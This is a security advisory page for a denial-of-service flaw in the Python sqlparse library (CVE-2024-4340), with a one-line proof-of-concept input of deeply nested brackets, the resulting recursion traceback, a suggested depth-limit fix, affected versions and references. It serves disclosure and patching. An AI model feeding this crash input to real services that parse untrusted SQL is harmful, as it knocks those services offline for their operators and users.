sqlparse parsing heavily nested list leads to Denial of Service
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)We expect a traceback of RecursionError:
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceededFix suggestion
The flatten() function of TokenList class should limit the recursion to a maximal depth:
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield tokenImpact
Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | sqlparse | < 0.5.0 | 0.5.0 |
References
- https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-2m57-hf25-phgg
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
- https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03
- https://github.com/andialbrecht/sqlparse
- https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292
- https://pypi.org/project/sqlparse
- https://github.com/advisories/GHSA-2m57-hf25-phgg
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-674- Platform
- Python (PyPI)
- Package
sqlparse- Disclosed
- 15.04.2024
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1940 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-2m57-hf25-phgg - CC BY 4.0
Vulnerability history: sqlparse
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 09.2021 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 5
- Medium 4
Disclosures per year
- 2021: 1
- 2022: 0
- 2023: 1
- 2024: 1
- 2025: 0
- 2026: 6
-
sqlparse parsing heavily nested list leads to Denial of Service this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.